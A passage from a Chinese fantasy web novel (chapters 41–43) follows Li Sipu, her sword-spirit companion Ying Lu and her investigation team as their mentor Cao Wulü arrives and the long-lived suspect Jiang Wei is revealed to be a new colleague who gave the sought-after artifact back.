他道:“你为何没选?你可知道不修道是最容易歧路亡羊的?”
心急如焚的话语在山间回荡,他说着,焦急地就要拉着自己下山。
李俟菩控制不了这幅身体,只能看着自己猛地甩开他的手:“我不选,就是我的道。”
她一字一句,雷打不动。
男人还稍显青涩的脸颊急得简直都要哭出来了,他见她不喜触碰,便没再向前半步。
“一隅之见,可抵以后痰迷心窍?”
“修道一事不是儿戏,况且我们本职就是除诡,我中一门被染神乱志是易如反掌,你忘了昨天惨死的同门中人吗?”
“不修道就代表没有确凿不移的信仰,随时都有可能牺牲……”
应庐一顿,不忍心说下去了。
李俟菩听见自己说:“悟道一事,从来都不可强求。”
自己的声音极为坚定,而李俟菩也通过短短几句话窥见了争执的原因。
可失去的记忆就像老旧车辙倾轧,即使她已身处其中,但只有一股陌生的窥视感涌上心头。
记忆中的应庐穿着与自己同门的服饰,那双看不透的眸子被涉世未深的匆忙取代。
他劝不动,又拉不了,只能干跺脚。
李俟菩也只能看着,身体主动权不在自己身上的诡异感她也是体会到了,的确很不自在。
他们各执己见,任时间一点一点流逝。
直至看到应庐满眼蓄上的泪落下,李俟菩才最终与自己共跳上一颗动容的心脏。
她意识到自己动了动嘴唇,却没发出半个音节。
将心比心的对方与默不作声的自己,无论日月迁延了多久,彼此的身份位置依旧没有对调。
枫叶还在继续坠落,有几片缠上应庐及腰的长发,又掉在地面,更有甚者,堪堪别在了应庐的发冠上。
李俟菩视线向上,敏锐地察觉到了自己的指节微颤,随心抬起手时,一片枫叶从中降落。
隔阂的视线直接让她的手顿在原地,就一瞬间的变化,她的心不断拉扯。
后来春去秋来,一整颗心也消寂在原地。
那片枫叶的脉络更加明晰,明晰到她看见满地的枫叶褪色,变为碧蓝眼泪,只剩汹涌无声的惊涛骇浪。
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过了千秋,遮碍的枫叶被拿掉,李俟菩顿住的手落至实处,她攀在了应庐的肩。
隔着衣料的温度摄入她指尖。
她眼中,满是他目不转睛的脸。
只听应庐说:“干嘛?要我牵你手啊?”
李俟菩霎时从那段回忆抽身。
出口的第一句话就是,“我没事要牵你手干嘛?”
“那你抬起来干嘛?”
应庐身后那些调皮的孩子早被教育了一番远去。
他看李俟菩像是魔障了一样,故意偏偏头,发尾扫到李俟菩的手,她被痒得缩回了手。
只觉心也被扫得发痒。
“看你这架势,该不会,是想跟我拜把子吧?”应庐看她收回的手,脑洞大开。
然后脑补出了个寂寞,“这可不行哈,我绝不接受!”
他瞪大眼睛,萌也不卖了,风一吹,还打了个寒颤。
李俟菩就静静看他的脸色由平静变为惊恐,又由惊恐变作奇怪。
他这张嘴是一刻都停不下来,“你倒是说话呀,虽然我自诩了解你,但也没有读心术,你总不会真想和我义结金兰然后套我话吧?”
“别想用这招我告诉你,我可不吃这套呵呵。”
看着应庐一脸像天都塌的样子,李俟菩低垂着头,半晌无话。
直到涨潮。
她轻轻说:“那天,我有帮你摘下那片枫叶吗?”
“什么?”
耳边只有浪潮翻滚的鼓噪。
应庐一时脸色空白,停顿了好几秒,才打哈哈道:“叽里咕噜地说啥呢,冷风把脑袋吹坏了?”
李俟菩稍稍抬起头。
应庐装作轻松地歪歪嘴,“真受不住冷风了我们就回去,别冻风寒了。”
李俟菩再抬几许。
“哎呦,这都多少年前的老黄历了,你怎么突然提这个?”
“不是失忆了吗?怎么还带闪回的啊。”
李俟菩紧盯他的眼睛。
应庐胡乱瞟了几眼蓝眼泪,“这地方挺好看的,就是没有手机,拍不了照片。”
“要不趁你休息,我们去买个手机?”
一分钟。
夜间的风渐渐大了,李俟菩扎起的长发被风吹得缭乱。
应庐的指甲深深陷入掌心。
“没有。”他说。
“为什么修苍生道?”李俟菩问。
“因为一个酸掉的青果。”
应庐这次倒是回答得快。
李俟菩不解,“为什么?”
应庐一笑,“现在我可以用刚刚洗碗换来的报酬,问一件事情吗?”
“问了之后,你得告诉我为什么。”
李俟菩要问事,从不接受东扯西扯。
“问了之后,我才能告诉你我的答案。”应庐道。
李俟菩没拒绝,应庐反倒犹豫了一会儿。
“那时候你就已经决定自己会走什么样的路了吗?”他道,“即使最后会死?”
李俟菩难得停顿了,“我只是想起了某段记忆,并没有想起全部,所以你的问题,我只能回答不知道。”
应庐紧绷的神情反而一松,她更奇怪了。
“你很了解我?你亲眼见到了我后来的路?”
即使对方极有可能是她的师兄,即使他们有共同的曾经,也不该如此了解她。
在她的回忆里,他们似乎也只是普通的同门。
应庐却竖起两根手指道:“现在加起来一共两个问题,你想听哪一个?”
李俟菩哼笑一声,“都要。”
应庐喉间发出极轻的抽气声。
“那颗酸青果,是因为你。”
“至于另外一个问题,我只能说,我自以为很了解你。”
41. 功德+41
为什么是自以为,为什么这个人总是喜欢打哑谜,半点底都不交,还成天装疯卖傻地在她面前晃悠。
她从来不喜欢去猜,自然也不喜欢别人话说一半,既然不愿意说就不说。
她问过一次的话绝不会问第二次。
当然,她也不会逼人去回答她的问题,只不过这些她想知道而已,别人是没有义务为她的好奇买单。
况且,这些以后她未必不会自己查出来。
所以得到了答案的她选择了闭嘴。
而应庐也默契的没有再提任何事情。
直至两人一路走到了调查组的大门外,李俟菩都没再和应庐说过一句话。
月色如练,树木静悄,夜间的风大了很多,应庐想多次将外衣给她遮风,但都没开口,她也无声地装作没察觉。
“到了。”应庐看着那快风干的牌子说。
李俟菩毫不停歇地转动脚步走进去,应庐看着她背影许久,才慢慢缩回意识形态的剑身,听话地闭上嘴巴在她脑子里面当鹌鹑。
已经都快到了九点钟,调查组里的其他职员是都下班了,但里面居然一个人都没有。
都去追江隈了?
李俟菩瞥至摊在宁松帷工位上的一摞零散纸张,不是什么器械制造图纸,而是一张张密密麻麻的字。
她一看就头昏脑胀。
却觉得有些不对,下意识地走去翻翻。
但她忘了现代的汉字她看不懂,只能干瞅着上面组合的字仔细琢磨。
……处罚……公共罚款……3000……
罚款?
“阿俟,这好像是那次烧鬼市被处罚的条款。”
应庐弱小的声音深入大脑,一点微弱的灵力有效缓解了她发晕的脑壳。
李俟菩皱眉,“你看得懂?”
“差不多吧,不过怎么有这么多?一条就三千,我的祖宗啊,这加起来得多少钱?!”
应庐越说声音越大,后面直接都破音了。
李俟菩随意扒拉了几下那堆在上面的薄纸,想起赵慵之前说的垫付,顿觉数万惊天霹雳打了下来。
“一张就抵我一个月工资?”
她当场被劈个外焦里嫩,愣愣的模样可把应庐心疼坏了。
他马上安慰道:“没事的,不是还有俩同伙吗?这钱肯定不是你一个人出。”
“还有赵大队呢,阿俟你说点好话,就让赵队原谅你这一次呗,这钱我们可真赔不起啊。”
话落,赵慵的办公室突然一声剧烈的玻璃打碎声!
李俟菩瞬间警戒,本能屏住了呼吸,紧紧盯着那发出声响而紧闭的门。
“谁?”
她出声,眉毛低垂。
背后空荡楼道的电灯泡闪了好几下。
都这个时候了,排除早下班的一些职员,或跟着赵慵捉拿嫌犯的队友,还有谁会在这里逗留,甚至是赵慵的办公室?
她神色凉薄,正欲上前,那道门却自己开了条缝隙。
接着便大敞,昏黄的光线延伸到门外,将白净地砖都染上陈旧的颜色。
不多时,一位手拿上截破碎杯子的女人走至门边。
她剪影覆上地板,身材窈窕纤长。
“你是?”那女人先开口,唇边无笑。
望向这人的第一眼,一种慵懒知性的感觉就席卷了李俟菩的全身。
这人肩颈线条如柳枝,一身剪裁利落的西装长裙带出懒散的气质。
鼻梁上架着一副金丝眼镜,五官冷艳有着历经世事的沉稳感。
眸光锐利如李俟菩,这人顺直长发融入了灯没笼罩的夜色,鬓发上却有着若隐若现的白发。
女人见她一脸提防,逐一打量了她全身。
后眼神缓和,温婉一笑,“若是我没猜错,这位就是李俟菩小姐?”
一滩玻璃碎片静静落在她的身后。
“你找谁?”李俟菩问。
“找你。”
李俟菩疑惑地攒眉,应庐也大气没喘一口。
“你是秦家派来的人?”
这人没说多余的话,看气质身段,她一下就想到了那对秦家夫妇。
“秦家?”女人稍一思忖,“哦,说起来,我确实收到了秦家的举报信。”
听此,李俟菩总算猜到了这女人的身份,“你是调查组上层派来的人。”
女人清眸流盼,“免贵姓曹,曹芜绿。”
李俟菩不假思索地说了句客套话,“幸会。”
曹芜绿转了个弯,在盆栽的角落拿上一个扫帚,就原路返回。
她瞟了一眼李俟菩手里的纸,说:“不用担心,这些钱不需要李小姐赔。”
“那就是需要我走人了?”
这人不知是敌是友,李俟菩也是毫不客气地回怼。
“若是李小姐离开,何尝不是沧海遗珠?到那时,我们931可就要时时抱璞泣血了。”
她目光若一池山间湖水,满脸都是对李俟菩这番话的惋惜,但也没干扰她悠哉地将那些碎片扫到垃圾桶里。
“听说李小姐来一组还没一个月就屡建奇功,最著名的还是那招虚与委蛇,不仅解了死局,还完美捉拿凶手,将诡物一网打尽。”
“李小姐出类拔萃,我们组可真是受宠若惊。”
“功劳太大,我担不起。”李俟菩诚实道,“不论是用什么招数,都需要配合,我一人不敢邀功。”
曹芜绿嘴角咧得更大了,语气柔软,清雅动人的裙边扫至那盆君子兰。
“李小姐谦虚了,先前也不知是谁信谣传谣,说李小姐嘴拙,今日一见,语妙天下。”
一声声夸赞的话还没完全落在李俟菩的耳边,门外就突然传来一阵阵急促的脚步声。
“这老不死的,怎么腿脚这般快?!”
一回头,玻璃大门被使劲推开,覃诩水跑得简直要口吐白沫,腿一软,双膝就径直跪在地上,砸得闷响。
李俟菩步伐一错,稍稍快速闪身,覃诩水便正跪向那个女人。
她微卷的发丝全扒在双肩前,脸颊红扑扑的,满脸都是累得要当场去世的模样,双眼迷糊。
“阿菩?你回来了?”
还没看清身边的人,就下意识地叨叨。
她头再一偏,眯了好一会儿眼睛,放声道:“师父?!!”
李俟菩闻言,看向那年纪稍长的女人。
难道这就是宁松帷上次说的那个教习师父?
“嗯。”曹芜绿应声。
然后从口袋里掏出一个红色的小开封袋,塞到她衣领后拍拍,“这是你拜早年的红包。”
她说得轻松,覃诩水的笨脑袋还没转过弯来,就又被身后的巨大冲击力撞得趴在地上,只来得及发出一声惨叫。
李俟菩抬眼,只见覃诩水的身上趴着被绊倒的同样气喘吁吁的宁松帷。
“宁松帷!”覃诩水被压得灵魂出窍。
宁松帷没起身,更没看到眼前高大的曹芜绿,只感觉到有人掀开她的衣帽,塞了个重重的东西。
“这是你的。”
那鼓得要爆炸的红包隐入宁松帷的帽子里。
接着又一个倒霉蛋直愣愣冲了进来,不慎踩到了瘫软在地宁松帷的腿,被宁松帷的叫喊声吓得又踩上覃诩水的手,最后不稳地堆积在宁松帷身上。
覃诩水:“……”
曹芜绿被逗得要笑开了花,满眼宠溺,再将一个沉甸甸的红包放在赵慵的手上。<
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p>她说:“不慌不慌,都有都有。”
熟悉的声音并没有唤醒这三人,除了快被物理意义上压扁的覃诩水。
应庐在李俟菩的脑子里笑得像个鸭子,李俟菩脖子上的青筋一跳一跳。
最后一个闪亮登场的,是架着飞行器的余愁山,不过很幸运的是,她并没有加入这几人的汉堡叠叠乐。
只是那正在冒烟快要关机的飞行器,重重落在了覃诩水要掀翻身上两人的右臂。
覃诩水:“……我好像有点死了。”
余愁山尴尬地撇撇嘴,后将目光移至面前的人身上。
曹芜绿很大方地从那口袋再拿出一个红包,递给余愁山,一脸慈祥。
可余愁山却捞起那机器绕身而过,没接那红包,脸色也平淡得很,好似那曹芜绿就是一个陌生人一样。
她走到李俟菩的身边,将那台坏掉的法器放在宁松帷的桌子上,从头到尾没招呼一句。
“愁山,每个人都有红包,你不要吗?”
曹芜绿回头,耐声询问道。
余愁山没回话,李俟菩想了想,说:“不是每个人。”
从这女人拿出红包开始,应庐就说他闻到了金钱的气味,而李俟菩决定相信他。
曹芜绿却笑道:“李小姐自然是有的,不过我得单独给你。”
“好哇,搞区别对待是吧!”覃诩水不知何时将那两人挤了下去,“师父,你偏心太过,我要生气了!”
“嗯,烧鬼市的事情我还等着你解释呢。”曹芜绿平淡的眼神朝她一扫,覃诩水居然听话地安静了下来。
赵慵与宁松帷搀扶着起身,还晕头转向没缓过来。
“又不是我一个人烧的,主谋还站在你旁边讨红包呢。”覃诩水窝囊地出卖了李俟菩,捏着手里的红包卖乖。
被说成主谋也实为的李俟菩冷呵,并没有迎接曹芜绿眼神的洗礼。
一旁的赵慵捂着头昏沉道:“松帷,你这法器怎么时好时坏的,江隈不会又跟丢了吧?”
宁松帷不好意思地笑笑,向自家队长解释:“赵队你也知道,我最近手气不好,法器总失控。”
“我看你是一年四季手气都不好吧,怎么总在关键时候掉链子?”覃诩水叹了口长气,顿时失魂落魄的。
“怎么?犯人跟丢了?”曹芜绿听出她们的苦恼。
赵慵这才看向曹芜绿,“师父?你怎么突然来了?还有这红包?”
宁松帷则是一脸心虚地躲过曹芜绿的视线,往后掏了掏自己的红包。
“收着吧,就当这么久没见的见面礼,还有,我是上头派来解决烧毁鬼市事件的负责人。”
“啊?”
一听,几人大为震惊。
“他们派来的人是您啊?”赵慵有些没想到,惊喜道,“这,我还在想怎么多费口舌来着,既然是师父您来,就稍微关照一下?”
赵慵讨巧讨得一点都不客气,“反正都是一家人。”
曹芜绿温和道:“怎么关照?上头说让肇事者罚款,还要写一万字检讨,否则全国通报批评,这也算关照呢。”
“还有,我记得上次,也是你们一组通报了一巡吧。”她笑得十分和善。
覃诩水则更和善地要泪淹大厅了。
而说起这个,宁松帷就更心虚了,大眼睛藏不住事儿地想要逃。
“松帷?”曹芜绿恶魔般的点名让宁松帷身躯一震。
“老师……”宁松帷叫了声,随即手机的报警器立马响彻天际。
突如其来的声音惹得在场几人耳膜一痛。
宁松帷连忙拿出来看,待看清屏幕的瞬间,她大声叫道:“红点与我们重合了?!”
“江隈她就在这里!”
42. 功德+42
宁松帷的发言让几人立马进入一级戒备状态。
李俟菩暗自扫了一圈大厅,只觉一阵冷风从身后吹过,等她回头,那风又擦脸而过。
“我就说她在这儿附近吧,你还偏要架个破扫描器,人跟丢了不说,居然还跑到我们组里来了。”覃诩水边说边摸上小刀,屏气慑息。
宁松帷目不转睛,心神完全不在她身上:“是是是,您老手眼通天,以后就都听你的行了吧。”
也不知是拌嘴还是真事,李俟菩觉得这两人心智完全跟个孩子一样,都到这节骨点上了,真就还能聊得起来。
“江隈回到这里跟回家一样,调查组都被她摸遍了,你们还有心思聊天?”就算曹芜绿在场,赵慵也忍不住给了两人一脑瓜崩。
覃诩水和宁松帷彻底闭嘴了。
空气安静了下来,包括余愁山在内,都在捕风追影着江隈的影子。
可在落针可闻的大厅,等了好几秒,也没等见第七个人。
赵慵办公室的门大敞开,一眼望去,目之所及,并没有鬼鬼祟祟的身影,连个人毛都没看见。
李俟菩腿脚发直,尽量放低了呼吸,以她的耳力,应该早就能听到了,可是——
“阿俟,那家伙……”
应庐的声音极其小,磕磕绊绊,连他都好像不能摸透这人的行踪。
“呵,躲躲藏藏的,算什么好汉?”覃诩水嘴上嫌弃,但思想上还是充分相信宁松帷的法器,“有本事逃,没本事出来见面吗?”
大厅空旷,没有回音。
李俟菩却道:“这里没有第七个人的呼吸声。”
“什么?”宁松帷不相信地拍拍自己的手机,“不可能,江隈的定点就显示在这里,而且我们也是刚刚追她才到附近的啊。”
“江隈心思缜密,你们以为追丢的那一会儿她肯定早逃了。”李俟菩决定道,“你们一行人能这么快能确定她的踪迹,她未尝不会起疑并割下衣袍扰人耳目。”
“的确,这种方法只有一次机会,没有成功就是永久的失败了。”赵慵听着,不以为然。
放江隈走,又真追丢了,几人计谋成空,都有些惆怅又心急。
气氛低沉,曹芜绿驻足凝视了一圈,在余愁山的身上停了两三秒,最后看向赵慵。
“这个江隈是神物的关键人物?”
曹芜绿的气质是不可忽视的,她一提问,赵慵立马答道:“是,我怀疑她包藏土中碧等两件神物,与何诏有关系。”
赵慵快速地瞟了一眼李俟菩,“我们还没仔细调查过江隈,目前只有一个可靠的消息,她是长生种。”
“嗯?”曹芜绿短暂地惊讶了一下,又立即恢复常态,“是活人?而不是标本诡物那些?”
“那可是个大活人呢,等我们抓到她,一定带给您研究研究。”覃诩水说得夸张至极,添油加醋地形容着江隈的面貌和一些关于她的可耻手段等等。
曹芜绿笑了笑,“我只研究法器,不搞人体实验,难道你想让我去吃牢饭?”
“师父,你又曲解我的意思。”覃诩水神色窘迫,“说得好像把她抓到了,我们不交公上头不会研究一样。”
曹芜绿一听,脸色有少许变化,覃诩水的嘴快得秃噜皮儿,完全不知道自己说了些什么。
赵慵及时止损:“师父,您这次专门过来,就是为了亲自处罚一组组员的?”
宁松帷接道:“老师,您这次来住几天啊?需要我把您东西先搬去宿舍吗?”
李俟菩心下琢磨一瞬,自从来到这调查组,她就感觉赵慵她们对领导层的人有些不满,看曹芜绿这表情,这931上头的水着实是深啊。
“来见见挑火的究竟是哪位大将。”曹芜绿也没对覃诩水说教什么,反而笑着看向李俟菩,“如今见到了,我深感荣幸,李小姐怎么就没把鬼市全烧光呢,反正我们多得是钱。”
李俟菩没对上她眼,一动不动,悠然自适。
“老师,许久不见,您还是会这么说话。”宁松帷干咳一声,“这么有钱要不给我们一组多发点工资?我们这都揭不开锅了。”
“嗯,不像你,这么久了电话都不打一个,只有缺钱了才施舍句好话,真是好个无情学生。”曹芜绿却没放过宁松帷。
宁松帷想讨好的心顿时老实了。
三言两语,刚刚的失落全都一扫而光。
“师父,事情的经过我待会儿会写报告的,就麻烦师父一趟了。”赵慵说,“想必这个事情,上头也只不过想要个交代而已吧。”
曹芜绿没有反唇辩驳,“尽量提早,过几天要组织一个大会,人人都不能缺席,各级教习官都必须到堂。”
“啊?什么会啊?这么大动干戈?”覃诩水的语调透露着不小的好奇,“上头又想出来了什么新鲜活动?”
“931首席排行大会。”
“啊?!”
覃诩水原本还十分文静,结果一嗓子叫出天际,余愁山与李俟菩同时掏了掏耳朵。
赵慵首先发声,“这东西不是好多年没办了吗?这么突然……”
“地点就在这里,选址榕城一组,时间在三天后。”曹芜绿没有回答始末缘由,看了看手表,“记得把卫生搞好,别让人看低了第九局一组的门面。”
“在这里开那劳什子会?”宁松帷二嗓子叫破云霄,“大会不在总部开在这里开?您认真的吗?”
她环顾一周,这远没有总部辉煌的犄角旮旯大厅,远没有总部镶金的厕所,远没有亮瞎人狗眼的大白灯。
最重要的是,到时候那么多人,她们一组大门的门槛都要踩塌吧,这么小的地方怎么站得下?
还有门外破破烂烂的招牌,这谁看了不说一句丢脸二字?
“为什么?”余愁山终于出声。
“因为目的根本不在大会,而是引蛇出洞。”曹芜绿看着她,“之前小慵与我们商讨成立的一个专案组远远不够,在一周前,我们已经把第三个神物在931手中的消息放出去了。”
李俟菩眉眼深深,有些惊愕,“你们这是要借着大会的名义诱敌深入?”
赵慵有些面若不悦,“若是他们狐唱枭和呢?这未免太过草率了吧,就算我们人多,到时候敌人先有准备将我们一网打尽呢?”
“敌人怎会未雨绸缪,这些强盗蠹居棋处,不出此计策,难道要等他们抢先找到第三个神物危害众生吗?”曹芜绿轻拧秀眉,同样不耐起来。
宁松帷惴惴道:“老师,阿菩她们就是因为被监视了才会被拐到鬼市去的,敌人比我们想象的可能还要强。”
“什么?”曹芜绿脸色瞬间难看。
“意思就是调查组内部出了问题。”李俟菩断言。
此言一出,曹芜绿瞳孔微微一震,她看向唯一没有表态的覃诩水,却得到了点头。
“师父,我理解上头的用意,可大会开得貌似很正常,可是深究就会发现,早已叫停的一年一度大会为了庆祝神物的获得而离开驻地松懈,这合理吗?”
“明知最不应该掉以轻心的时候,反而高枕无忧了。敌人不是蠢货,他们也有脑子,这么明显的圈套他们不知道就不会去查吗?”
赵慵继续道,“也不是说我们是惊弓之鸟,早在阿菩提起时,我就猜到我们内部一定是出了问题。”
她话到这儿又提起一口气,“我本不想声张,但现在您告诉我你们现在的这个计划,自以为是天衣无缝,难道不是他们的正中下怀?”
“如果他们知道,混在人群里,再将我们一锅端,到时伤亡惨重,哪里还管得上神物?这对他们来说,无异是个天大的好机会。”
一句一句说下来,曹芜绿面上极差,眸底一
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片暗色。
她没做声,看着虚空一点不知在想什么。
李俟菩问:“这个大会,只是开会?”
覃诩水回道:“不是,是931聚众组织的比赛,简而言之就是几个局几个组内部抽签,在一个场地里,看谁抓的诡越多哪个组就获胜了。”
“一般要么是取材老宅,要么是用以前抓的那些诡充数。赢了有奖金,以前都是去总部组织的,现在很多年没弄过了。”
李俟菩问:“为什么叫首席?”
“说出来名声好听呗。”
答后,气氛又诡异的沉默了。
终于,曹芜绿道:“好,你们的提议我知道了,但大会照常开,内部恐有奸细的事情我会上报,你们最近也多叮嘱一下榕城其他两个组。”
“大会的安排我会和上头商量再改改,最好是能诱敌又能保障你们的安全。”
曹芜绿没多说,赵慵自知也没权更改上头的决定,点到为止。
覃诩水发牢骚缓和道:“那就不能去云队那儿,或者是在孟队组里开?我们这儿……”
曹芜绿盯着她。
“不想搞卫生。”覃诩水眼珠子乱转,笑容不自然。
宁松帷开团秒跟,“对啊,孟队那儿的场地最大,为什么要来我们这个小地方?”
曹芜绿道:“这么重要的会不在一组开,难道还去二组三组?你们觉得像话吗?”
好吧,的确不像话,李俟菩腹诽道。
“好了,我会抓紧的,师父。”赵慵答应了,“至于江隈……”
话音还没落,赵慵办公室的那株绿植顺风一晃,李俟菩眼眸一偏,唰地动了。
身旁余愁山的短发被这动静吹得一斜,她跟着起身,只看得到李俟菩的残影。
转眼,只听那儿一声短促的抽气,隔得远的几位反应过来对视一眼,立即飞奔办公室。
昏黄的光影被遮住后更亮了。
“听够了吗?”李俟菩问。
她手下夺过的扇子重重抵上江隈的腰。
“小阿菩,怎么一见面就要动手?我就长得那么让人憎恶吗?”
覃诩水跑过来一看,恍然大悟叫道:“哦呦,这不是面如桃花的江前辈吗?怎么还偷听人讲话呢?”
“你还真在这里?你用了什么诡计,我们都没发现?”宁松帷看着自己被攥得都发热的手机,那定位红点异常鲜明,“我就知道我的法器没出问题。”
“嗯哼,没发现是你们本事问题,而你们被我溜着走什么都没发现,是你们自作聪明。”江隈说话不留情面,李俟菩看了她一眼。
这时应庐旁若无人地在脑子里说了句,“哦,我想起来了,她用的闭气术,不用法力也能用的一门独工!”
闭气术?岂不是她窒息了十几分钟?
“江隈,你现在如果从实招来,以后的刑罚兴许还少些,你就不要再做无谓抵抗了,土中碧到底在哪里?”
赵慵也不再绕弯子,冷声道。
曹芜绿悠悠走来,哪知江隈看见了这位,更无谓了。
“面试官,你们931就是这么对待新成员的?不是规定内部不能明面上的互相攻击,这都在你眼皮子底下了,你不管管?”
她说得不屑,覃诩水一个肘击,“瞎说什么呢?别打岔,认真回答问题。”
李俟菩和余愁山又同时看向曹芜绿,而曹芜绿紧盯着她有些困惑。
她推了推鼻梁的眼镜,凝思起来。
江隈一脸胜券在握的模样看得覃诩水一肚子火,“说啊,哑巴了?我可警告你,别拿鸡毛当令箭,一个星期的苦茶水还没喝够是吧?”
江隈还是无赖模样,就在李俟菩反手将那扇子的尖口抵上江隈的脖子上时。
“慢着,这位江小姐,好似的确是我两周前新招的往生部成员。”
43. 功德+43
嘎嘎嘎——
一阵黑色的乌鸦飞过,倒带来山雨欲来的满楼风。
静默两秒,覃诩水的脖子状似被卡住,艰难地望向曹芜绿,“师父,你开玩笑呢?”
然后颤颤巍巍地指着还在略微嘚瑟的江隈,声音成倍扩散,“你说她是往生部新招的人?!”
李俟菩的力道松了几许,情绪压在胸腔,脑子里的应庐直猴叫。
曹芜绿看着江隈整整过了三个呼吸,再三确认。
才道:“最近组织里事多,一时没认出来,不过我记得很清楚,她的确是今年新招的同事,简历我们都过了一遍,没有任何问题。”
她顿了顿,“你们也知道往生部已经一年没招到人了,求爷爷告奶奶地发招人贴,有能力的不碰,没能力的不敢,招生部确实办法都寻尽了。”
“两周前江小姐投了简历,各方面都符合还愿意担责,我们当时是真求之不得。”
江隈直起腰,缓缓推收起那把扇子,捻捻衣领,显摆地掏出一个牌子。
她错身几许,腊黄的光打上曹芜绿的眼镜。
映射出牌子鲜明的几个大字,931身份牌。
赵慵只觉一道惊雷闪过,头顶炸了个响雷,嗫嚅道:“不是,师父,我们刚刚说了那么久,您也知道她是神物的嫌疑犯吧。”
余愁山落在身后,清楚地看到了那身份牌名字那一栏,写上了江隈两个加粗黑字体。
她道:“身份牌是真。”
“老师,您说江隈是在两周前进组的?”宁松帷内心震惊无比,走到江隈面前挑起她的脸,有些无措,“那为什么我们没有收到任何消息?”
江隈倒也没挣扎,顺从地仰起头,一双眼眸漂亮得璀璨如珠。
曹芜绿闻言,涓滴不惊道:“呵,当时不但联系不到你们,整个榕城三个组的组长全都离奇消失,哪里还在意消息的通知?”
覃诩水口吻刺耳:“两周前我们还在和江隈斗智斗勇呢,我们差点儿被她搞死!您现在说她和我们才是一伙儿的?!”
“不是,这对吗?认真的吗?这世界终究还是癫了?”
覃诩水翻江倒海地表达自己的惊讶,唇舌打结。
“哎哎哎,你这小屁孩儿怎么那么不懂礼貌呢?”江隈躲过宁松帷的手,从善如流地接过李俟菩手上的扇子。
“什么叫搞死?我那是锻炼你们,不感谢就算了还不请我喝龙井,喝那酸到发苦的穷绿茶,我都不好意思说我们今后是同事伙伴,真是世风日下。”
她晃晃扇面,一副斯文模样。
“我呸!你要不听听你自己在说什么?”覃诩水再给了她一个肘击,却打到了扇骨,“和诡物同流合污还好意思说,没有阿菩的话,我们尸体你都要考虑是否好心收一下吧!”
江隈瞟了眼身后不语的李俟菩,“嗯,是托阿菩的福,让我见识了榕城三个组的联手好戏。”
“我看你就是两面三刀,师父你可千万别被她给骗了啊!”覃诩水被她这软硬不吃的态度气得愤慨抨击。
“先是潜入931做卧底,然后盗取神物来对付我们,把榕城三个组的水搅浑,她再金蝉脱壳,到时候说一句同事应援,谁还能猜得到她头上啊!”
覃诩水说得头头是道,一口唾沫一口钉,把江隈的罪钉得死死的。
江隈弯眉,“我首先声明,我是看那个小诡挺可怜才出手帮一把,进组的时候我就说了,往生部能直通地府没有限制,而地府有我找的人我才做这份工作的。”
她看向曹芜绿,“至于其他事其他人,我随心而行,从不站队,当时你们答应得好好的,难不成现在想反悔?”
“地府对你人身有限制?”李俟菩慢吟。
江隈大方吐露:“五百年前,那个陆老头就不准让我进了,义正言辞地说什么事关地府安危,给我下了个通缉令。”
“呵呵,搞半天你在鬼市都讨人嫌啊。”宁松帷嘲笑道。
李俟菩不想也知道,这人准做了什么“伤天害理”之事,惹得两位判官头疼。
应庐又适时提起了句放火那件事,顺便提醒了一句,她自己也不是个省油的灯。
嗯,俩卧龙凤雏。
曹芜绿并不关心多余事,她道:“现在的问题不是反悔,而是你的简历里从没明说你是长生种这三个字,你知道这意味着什么吗?”
她震慑陈词:“我们招人,必须确认身份无误,而你欺骗了我们。”
江隈眼神透着傲慢,语气单调:“我就算说了,你们能查清楚吗?”
“还有,你们连李俟菩的身份都查不到,还想盘查我的根?”
李俟菩冷冷扫了一眼江隈。
“就这么说吧,自鬼市动乱以后,几乎没人敢碰往生部这份工作,现在是你们缺人,而不是我缺钱。”
江隈的话直接把李俟菩拉下了水,桀骜地高高在上道:“再者,我若说我是长生种,你们上头那些个歪瓜裂枣能保证不把我抓去开膛破肚当人体标本吗?”
“931什么德行我比你们爹妈还清楚,要不是我急着找人,这份活儿谁爱干谁干。”
江隈轻蔑的言辞直言对调查组的不满,她收起折扇,双臂交叉。
赵慵却根本不打算顺着她的话走,无论是被无故遭殃的李俟菩,还是抬腔抬调对931的不悦,她通通拉回最原本的问题。
“往生部的工作可不包含神物一事。”
赵慵语言犀利,“江小姐,你说不站队,可你又言行相悖,别扯其他,你若真是无辜的大善人,现在最重要的事情就是洗脱你自己的嫌疑。”
“我说了我找人,神物能帮我,而我又恰好能打过那个背棺材的诡,我拿了又如何,不拿又如何?”
江隈身体微微后仰,不耐烦道:“什么嫌疑?你的意思是,你不仅怀疑曹老师亲自招的人,还要诬陷内部成员?我说,你赵队长的本事挺大呀。”
江隈一身反骨,故意和赵慵对着干,要她说什么她偏要反着来。
成心惹人不快,并表示毫不在意自己身上这盆脏水的去向。
看赵慵被气得半死,曹芜绿又不说话,另外三人不知是因为曹芜绿的关系忌惮还是怎么,也没有插嘴。
李俟菩问:“所以你找人,需要集齐三个神物?”
她对这位猜不透的长生种实在是十分有耐心。
“不需要。”
李俟菩:“?”
“我已经找到了。”
江隈答得极快,像是突然受到了刚刚赵慵的启发,终于肯说实话了,但是——
“所以土中碧我还给那棺纸人了。”
李俟菩:“???”
众人:!!!
第二群乌鸦结队飞过。
“什么??”
这下也把曹芜绿搞傻眼了,她迟钝地张大了嘴巴,“你再说一遍?你说神物去哪儿了?”
“我说我还给人家了,怎么,我说实话了你们也不高兴?怎么这么难伺候啊你们,这下总不认为我是叛徒了吧。”
李俟菩看这人说话好似不是做假,问去问来没想到最后是这个结果。
不过以她的了解,这人还真可能干得出来这事儿,就算她已经不会大惊小怪了,但脑子里还有个应庐呢。
而且对面这些人……她默默后退一步。
江隈还在独自开朗,大言不惭。
“你们到底要我怎样啊?早在你们在画里演戏的时候我就还给人家了,而且我跟人家保证了有借有还,我又不知道你们要找神物。”
李俟菩还想说,她是不是忘了,当
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时跟她保证找到第二个神物就给她送来的那个承诺?
江隈说得理所当然,然后瞬间被蒙上一层厚重阴影。
现在夜深人静了。
“喂喂喂,你们干嘛?”
“曹老师,你靠我这么近做什么?赵慵,你们……”
“等、等下……931内部不能私自抱怨啊!”
鸟群惊飞。
*
日出的第一缕曙光照耀在这座美丽的城市,金光灿灿,宛如一副风水画。
宿舍的走廊被铺上阳光,从里面走出来的人都沾染上光的气味。
门轻轻打开又关上。
“嗯?阿菩,起这么早啊?”
赵慵正在收拾自己的小布包,就要准备出门,听见了动静,转眼就对上了睡眼惺忪的李俟菩。
“嗯。”李俟菩还迷糊着,呆毛立在她发旋头顶,微微的黑眼圈爬上了她的下眼睫。
她长叹一口气。
到底有谁能明白有个人在她脑子里吵吵嚷嚷的痛苦?
